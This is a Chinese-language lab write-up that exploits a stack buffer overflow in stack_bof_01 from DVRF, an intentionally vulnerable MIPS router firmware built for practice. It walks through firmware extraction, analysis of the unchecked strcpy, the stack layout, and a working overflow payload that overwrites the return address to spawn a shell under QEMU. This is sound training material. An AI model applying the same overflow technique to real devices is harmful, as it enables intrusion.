DVRF固件
这是网友自制的一个充满漏洞的固件,以供学习使用
下载
git clone https://github.com/praetorian-code/DVRF.git
安装gdb
sudo apt install gdb-multiarch
安装gef
wget https://github.com/hugsy/gef/raw/master/gef.py
echo source "gef.py的具体路径"/gef.py >> ~/.gdbinit
安装gef分析使用到的python第三方库
sudo pip3 install capstone unicorn keystone-engine
对固件进行分析
cd DVRF/Firmware
binwalk -e -t DVRF_v03.bin
cd _DVRF_v03.bin.extracted/squashfs-root
分析得到的文件夹中有个 pwnable 文件夹,里面存放了相关的漏洞程序,我们选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序的架构。
readelf -h pwnable/Intro/stack_bof_01
可以看到该程序的架构为MIPS,小端存储模式(后续看内存信息的时候要注意)
安装qemu-mipsel-static
sudo apt-get install qemu-user-stati
拷贝qemu-mipsel-static到当前目录,然后配合chroot虚拟执行stack_bof_01固件
分析漏洞程序
strcpy() 代码分析
可以看到在main函数中,调用了strcpy函数,将用户输入复制到buf中,我们看看strcpy函数的汇编代码
由于该固件架构是MIPS架构,汇编指令集和X86架构的有所不同,a0寄存器存储了buf的起始地址,a1寄存器存储了用户输入的起始地址。该代码的功能:每次从用户输入从取一个字符,查看是否是 /0 (字符串结尾标志符),然后将其存到buf中,因此并没有进行边界检查,造成栈溢出的可能。值得注意的是,MIPS架构使用了流水线技术进行加速,在执行bnez指令时,同时在执行sb指令,只是执行的阶段不同。X86架构中若bnez指令进行跳转时,则sb指令执行会被无效掉,但在MIPS架构中,sb指令执行后,并不会被无效掉。该代码利用该特性,循环得进行复制。
栈溢出分析过程
根据上述分析,我们可以增加输入长度,当长度超过200时,则发生栈溢出,将main函数在栈中的一些信息覆盖掉。因此只要我们覆盖掉main函数的返回地址时,则可以劫持程序流,获得控制权。
main函数堆栈布局
MIPS 架构上函数调用过程中的堆栈和栈帧
推荐看看上面这篇链接,了解一下MIPS架构的堆栈布局是怎么样的
由于main函数中调用了strcpy函数,因此main函数并非叶子函数,即最后返回时,要从堆栈中弹出return address到 ra 寄存器,再使用跳转指令进行跳转
可以看到,在这段代码中,首先给堆栈扩充了232个字节,即此时sp=base - 232(base为原sp地址),然后将ra存在了base - 4的位置,将s8存在base - 8的位置,将gp存在base - 216的位置,将a0存在base的位置,a1存在base+4的位置,而base - 208 到 base - 8 这200个字节则存着buf,因此我们只需要溢出buf 8个字节,即可将ra修改为我们所需要的目标地址
由于在本次实验中,已经提供了shellcode,因此我们只需要找到shellcode的起始地址即可,查看dat_shell函数的地址
可以看到其启示地址为0x00400950,因此我们的buf为 ‘A’ * 204 + '\x50\x09\x40\x00',记住存储模式是小端。
执行漏洞程序
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"
执行后如下
发生了段错误,并没有执行到shellcode,让我们继续调试看看是什么情况
调试漏洞程序
sudo chroot . ./qemu-mipsel-static -g 1243 ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"
另开一个命令行执行
gdb-multiarch pwnable/Intro/stack_bof_01
进入gdb后,将架构转为MIPS架构
set architecture mips
开始调试漏洞程序
target remote 127.0.0.1:1243
在main函数处打个断点并执行到该断点处
b main
c
查看main函数的汇编代码
disassem main
可以看到在main函数汇编代码的最后有个jr ra指令
我们在该处下一个断点,看看ra寄存器中是否是我们的shellcode的起始地址,并执行到该处
b* 0x00400948
c
可以看到ra中确实是我们的shellcode的地址
最后执行该指令应该会跳到dat_shell上。查找了资料,好像说是会有3条gp指令影响,最终的shellcode地址为0x0040095c,执行一下看看
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x5c\x09\x40\x00')")"
成功获得shell!